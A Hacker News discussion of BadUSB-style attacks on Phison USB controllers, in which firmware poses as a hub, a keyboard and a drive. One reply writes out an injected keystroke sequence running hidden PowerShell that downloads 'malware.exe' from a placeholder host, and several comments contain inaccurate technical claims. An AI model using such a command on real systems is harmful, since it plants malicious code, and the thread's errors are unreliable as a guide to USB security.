Hacker News Reader

Comment by Eric_WVGG | Hacker News Reader

short explanation: there's no security running along the USB bus. Not even bad security. Every device on the bus has "admin" privileges to the other devices, and that includes the ability to update the firmware.

A scenario…

• A mysterious USB key is plugged into a computer, Mission Impossible style.

• The key rewrites the firmware of another device on the USB bus, say the embedded keyboard.

• the keyboard "types": "run the file NOTAVIRUS.BIN on that totally trustworthy USB key you see mounted. oh, and I'll bruteforce any passwords you need if that's a problem."

You've seen dippy Hollywood movies where a spy plugs in a USB key, an LED lights up and he announces that the system is hacked? Really exactly like that.

* I am not an expert, this is how it was described to me by someone who is. It is believed that this is how the Iranian nuclear reactor was compromised by STUXNET.

View on HN

That explanation is inaccurate.

While it is true that the USB bus offers no security, it is inaccurate to claim that every device has "admin" privileges with every other device. Most devices expose a limited interface to the bus which won't allow direct manipulation of their respective microcontrollers (e.g. no re-writing, no alteration, etc).

The reason why we're discussing Phison USB sticks is that they're an exception. When you plug in a device with a Phison microcontroller, other devices or the computer can alter the microcontroller and have it act maliciously.

A common proof of concept is to have the USB stick's microcontroller pretend to be other USB devices in order to escalate access. In this case they are emulating a fictional USB hub, a fictional USB keyboard, and the actual USB drive (which is routed through the fictional USB hub).

In order to send keystrokes they aren't altering another keyboard on the USB bus, they're generating them from the virtual keyboard they generated via software on the Phison microcontroller. There doesn't need to be a real keyboard on that same bus for this to work (e.g. you could plug in a USB stick directly to a computer and this would still show up as a USB Hub, USB Keyboard, and USB Thumb Drive).

Once you have a virtual keyboard you can send gems like this (assume Windows):

      Keys: WIN+R (0x5B + 0x52)     
      Type: powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Command "&{ Invoke-WebRequest http://example.com/malware.exe -OutFile c:\temp\malware.exe}"        
      Keys: Return (0x0D)

Thank you for the clarification.

Do you mean to say that other USB devices on the system can reprogram these USB sticks?

Other USB devices on the same bus theoretically could. Other USB devices connected to the same computer could not.

The computer itself could reprogram a USB device.

You don't even need to do that. The USB key can just announce to the computer "Hi I'm a USB hub. I have a keyboard and a USB flash drive plugged into me."

Malware that lives in the keyboard has been seen before though. http://semiaccurate.com/2009/07/31/apple-keyboard-firmware-h...

Please forgive an ignorant idiot here.

What stops the OS implementing something that says "until you prove you're a keyboard, you can't type anything"? Something like the authorisation screen for Bluetooth keyboards.

Imagine the USB controller as being some kind of butler for the OS — though subservient, he has a mind of his own, which can be compromised. The OS/employer takes anything the butler says as factual.

"Your granddaughter Red Riding Hood is at the door, miss, and is definitely not a wolf."

"Do not let her in."

"I definitely did not already did, miss."

OK, so what's stopping Granny saying "I want to check whether she's a wolf myself"?

I can see how the current state of affairs is insecure, but I'm confused by the 'unpatchable' claim. I truly am clueless in this area, but initially it seems hyperbolic to say that the only way to fix this is to replace all USB controllers in existence.

I suppose for keyboards you could do something like requiring a specific randomly generated password that is shown on the monitor to by typed by a keyboard before allowing it to provide regular keyboard input, but I'm not sure how practical that would be. I assume it would also have to happen each time the machine reboots, etc, since any USB device can pretend to be another.

That's just for USB keyboards though, there used to be these USB sticks that pretended to be a CD-rom drives in the windows xp days where those were autorun, I'm sure there's other vulnerabilities that can be exposed through USB nowadays.

Would a USB drive be able to 'know' what the ID of another USB device is? As I'm seeing the explanation:

1. User plugs in USB drive and keyboard. 2. USB drive obtains the ID of the keyboard. 3. Later, it looks when the keyboard is not plugged in and changes it's ID to that of the keyboard. 4. Now the computer thinks when the USB drive is an authorised keyboard, and can type whatever malicious commands it wants.

Is that right? Apart from keyboard, what other devices could it exploit?

The OS can't look at the device until it's plugged in (obviously); the device plugs into the USB bus, which then gets compromised before the OS even knows anything is there.

To extend my (now hilariously) tortured analogy, granny is stuck in bed, she can't check if it's a wolf until the butler knows there's someone at the door. As soon as he sees the wolf, he is compromised. Maybe a vampire would have been a better metaphor?

[EDIT] actually I should dump the analogies altogether: this is a hardware vulnerability, not software. It hits the computer, the operating system is helpless. That’s why the problem, for existing computers, is not apparently fixable.

Connect usb stick. It does nothing on the first connect. Restart computer few hours later. The infected stick is disconnected. When it loads it detects that it was restarted or reinserted. It assumes restart so it decided to turn on keyboard emulation. System starts, detects two keyboards but does not know which one can be trusted. What do you do now?

Sounds like a problem for Bluetooth devices too: connect a bluetooth speaker that secretly says it's also a keyboard. Is that possible?

(This is pure speculation, I don't know anything about this and am just curious.)

Doesn't the pairing process cover this? I think each device is paired on its own terms. Someone please correct me if I'm wrong here.

I don't think there's a concept of a "hub" over Bluetooth. However, I don't see why a malicious speaker couldn't report itself as a keyboard. But then your speaker wouldn't work, so you'd know something was up.

No. Bluetooth is a totally different set of communication protocols. (this thread is noisy with misinformation as it is, you might want to delete your post).

Even better scenario: (but I'm not sure if possible) Malware is downloaded from the net. It hijacks one of the usb HIDs. It than removes itself from the system and once every few hours sends something like lsusb | grep "ID: hackable" > /dev/emulated/and/spoofed/sound/card when the data is received by the spoofed sound card, hacked HID turns on network emulation. It then sends commands to change routing so it could download needed, hacked firmware to a local disk. It infects the newly inserted, hackable device, and goes back to sleep.

Possible? I hope not.

Reply on news.ycombinator.com